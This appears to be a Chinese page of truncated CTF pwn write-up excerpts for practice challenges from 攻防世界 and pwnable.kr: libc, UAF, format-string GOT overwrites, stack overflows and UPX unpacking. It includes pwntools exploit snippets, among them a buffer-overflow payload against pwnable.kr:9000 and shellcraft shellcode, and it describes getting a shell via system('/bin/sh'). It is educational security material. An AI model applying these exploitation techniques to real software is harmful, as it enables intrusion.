攻防世界菜鸟新手区 ——level3
攻防世界 – pwn新手区 level3
由题意可得可能跟libc有关。
ps:libc是Linux下的ANSI C的函数库。ANSI C是基本的C语言函数库,包含了C语言最基本的库函数。
引申:
glibc 和 libc 都是 Linux 下的 C 函数库。libc 是 Linux 下的 ANSI C 函数库;glibc 是 Linux 下的 GUN C 函数库。
1.checksec查看保护
文件有两个,一个是elf文件,一个是so文件。
ps:so文件(shared object),so文件是Linux下的程序函数库,即编译好的可以供其他程序使用的代码和数据。
checksec查一下保护机制。
ps:
checksec的解析。
RELRO
Relocation Read-Only (RELRO) 此项技术主要针对 GOT 改写的攻击方式。它分为两种,Partial RELRO 和 Full RELRO。 部分RELRO 易受到攻击,例如攻击者可以atoi.got为system.plt,进而输入/bin/sh\x00获得shell 完全RELRO 使整 ...
攻防世界--repeater
攻防世界–repeater分析文件存在栈溢出漏洞,并且只能刚好溢出到返回地址,所以基本上ROP就是不能用的了,其他师傅给的wp是通过将shellcode写到bss段里面去,然后返回到bss段执行,但是在本地gdb的话发现是bss段是没有执行权限的.
利用程序由分析文件来看的话,就栈溢出就行了,
但是文件开启了PIE,于是我们得绕过,但是文件给了绕过的方法,基本上比较简单.主要是练习练习exp脚本的编写.
exp123456789101112131415161718192021from pwn import *context.log_level = Truecontext.arch = 'amd64'io = process('./repeater')#io = remote("61.147.171.105","57019")shellcode = asm(shellcraft.sh())io.sendlineafter("Please give me your name :", shel ...
time_formatter--UAF
[time_formatter]–UAF前言好久没做题了,一直在看链接装载与库,有一说一,这玩意是真的晦涩难懂。最近要开始准备打比赛回来再刷刷题。
这个题挺有意思的,能扩展学习到很多东西。
Find hole先对文件进行基础的分析
64位文件
除了PIE没开其他的保护都开了,FORTIFY是缓冲区溢出检查,用来在编译的时候去替换危险函数。
文件逆向通过分析文件,发现程序就是让我们输入时间,时区,和输出格式,然后调用system函数来运行/bin/data函数来实现功能。
刚开始找了半天hole没找到,看了其他师傅的题解后才找到了。
因为输入格式和时区的函数是用的strdup函数,该函数会调用malloc函数分配一个空间,然后返回该指针。
在退出的时候,程序是先进行free后判断是否继续退出,会导致format指针存储的空间已经是被free掉了的,然后我们选择调用输入时区的函数,就会分配到刚才format的那段空间,我们就可以用这种方式来绕过format的判断语句。
payload找到漏洞和利用方法后,我们就可以来写脚本了
1234567891011121314 ...
Mary_Morton另外两种做法
网上可以找到的通常是利用格式化字符串输出 Canary 的值,然后再利用栈溢出调至漏洞函 数,此处我讲讲例外两种思路。
方式 1: 输入 2,利用格式化字符串将 printf 的 got 地址修改为 system 的 plt 地址,再次输 入 2,输入’/bin/sh\x00’,相当于执行 system(‘/bin/sh\x00’)
方式 2: 输入 2,利用格式化字符串将 exit 的 got 地址修改为 sub_4008DA 函数地址(该函数 可以直接执行 cat ./flag),再次输入 3,调用 sub_4008DA 函数 cat flag 代码如下,已详细注释,就不再做分析说明了。
pwnalbe.kr --collision
pwnalbe.kr –collision
由题可知和MD5哈希算法有关。
1.连接12345678910111213141516171819202122232425262728293031┌──(root💀kali)-[/home/kali/桌面]└─# ssh col@pwnable.kr -p2222 130 ⨯col@pwnable.kr's password: Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted byapplicable law. ____ __ __ ____ ____ ____ _ ___ __ _ ____ | \| |__| || \ / || \ | | / _] | |/ ]| \ | o ) | | || ...
pwnable.kr --fd
pwnable.kr –fd解题思路
1.kali远程链接
**在linux下可以用 ls -l命令来显示一个文件的属性以及文件所属的用户和组 **
在 Linux 中第一个字符代表这个文件是目录、文件或链接文件等等。
当为 d 则是目录
当为 - 则是文件;
若是 l 则表示为链接文档(link file);
若是 b 则表示为装置文件里面的可供储存的接口设备(可随机存取装置);
若是 c 则表示为装置文件里面的串行端口设备,例如键盘、鼠标(一次性读取装置)。
接下来的字符中,以三个为一组,且均为 rwx 的三个参数的组合。其中, r 代表可读(read)、 w 代表可写(write)、 x 代表可执行(execute)。 要注意的是,这三个权限的位置不会改变,如果没有权限,就会出现减号 - 而已。
可知,文件flag无访问权限
2.查看文件
123456789101112131415161718192021#include <stdio.h>#include <stdlib.h>#include <string.h>ch ...
pwnable.kr --bof
pwnable.kr –bof
由题意可得,本题是用缓冲区溢出。
1.分析文件ida反汇编(太菜了,还不会汇编)
给func函数传了一个整型。
分析代码可以知道gets存在缓冲区溢出漏洞。
只需要知道a1和s的偏移量即可溢出。
查看函数栈区,确定偏移量
蓝色区域为s数组的栈区,红色方框为a1的存储栈区。
偏移量为(0x8+0x2C =0x34 )
2.编写exp1234567from pwn import *r = remote("pwnable.kr" ,9000)payload = "a" * 0x34 + p32(0xCAFEBABE)r.sendline(payload)r.interactive()
p32打包0xCAFEBABE,改变a1的值。
运行效果如下:
12345678910111213┌──(root💀kali)-[/home/kali/桌面]└─# python test.py[+] Opening connection to pwnable.kr on port 9000: Done[*] S ...
pwnable.kr --flag
pwnable.kr –flag
这是一道简单的逆向题。
1.分析文件先用pe分析一下文件。
可以看出来文件是经过upx加壳的。
2.处理文件(脱壳)1234567891011┌──(root💀kali)-[/home/kali/桌面]└─# upx -d flag\ \(1\) Ultimate Packer for eXecutables Copyright (C) 1996 - 2020UPX 3.96 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 23rd 2020 File size Ratio Format Name -------------------- ------ ----------- ----------- 883745 <- 335288 37.94% linux/amd64 flag ...
部分覆盖--爆破法
部分覆盖–爆破法前言有时候我们需要用到部分覆盖法去构造ROP链,或者堆的部分覆盖,但一般只有低12 bit是不变的,于是我们需要对低16bit进行覆盖,于是需要部分覆盖。这篇文章就是大概讲一下爆破法的实现,所谓的爆破法就是用本身已经定好的值去撞随机出来的libc的地址,直到有一次撞到libc的地址和我们设置的值相同。
模板12345678910111213141516171819202122from pwn import *#context.log_level='debug'context.arch='amd64'context.log_level == "debug"def exp(): global r ''' 获取shell ''' r.recv(timeout = 1)if __name__ == '__main__': while True: try: exp( ...
解释器类型的Pwn题目总结
解释器类型的Pwn题目总结0x01 写在前面在近期的比赛中,发现解释器类型的题目越来越多,因此决定进行一个专项的题目总结。
Pwnable_bf:此题是利用了brainfuck本身的特性以及题目没有对GOT进行保护导致我们可以便捷的进行利用。
2020 RCTF bf:此题是因为解释器的实现存在漏洞,并不是利用语言本身的特性。
2020 DAS-CTF OJ0:此题是直接让我们写程序来读flag,而我们读flag时又需要绕过一些题目的过滤语句~
DEFCON CTF Qualifier 2020 introool:此题严格来说并不是实现的解释器,但是它仍然是直接依据我们的输入来生成可执行文件,属于广义上的解释器。
[Redhat2019] Kaleidoscope:此题创新性的使用了fuzz来解题。
2020 DAS-CTF OJ1:此题仍然为直接让我们写程序来读flag,但是他限制了所有括号的使用!
0x02 什么是解释器解释器(英语Interpreter),又译为直译器,是一种电脑程序,能够把高级编程语言一行一行直接转译运行。解释器不会一次把整个程序转译出来,只像一位“中间人” ...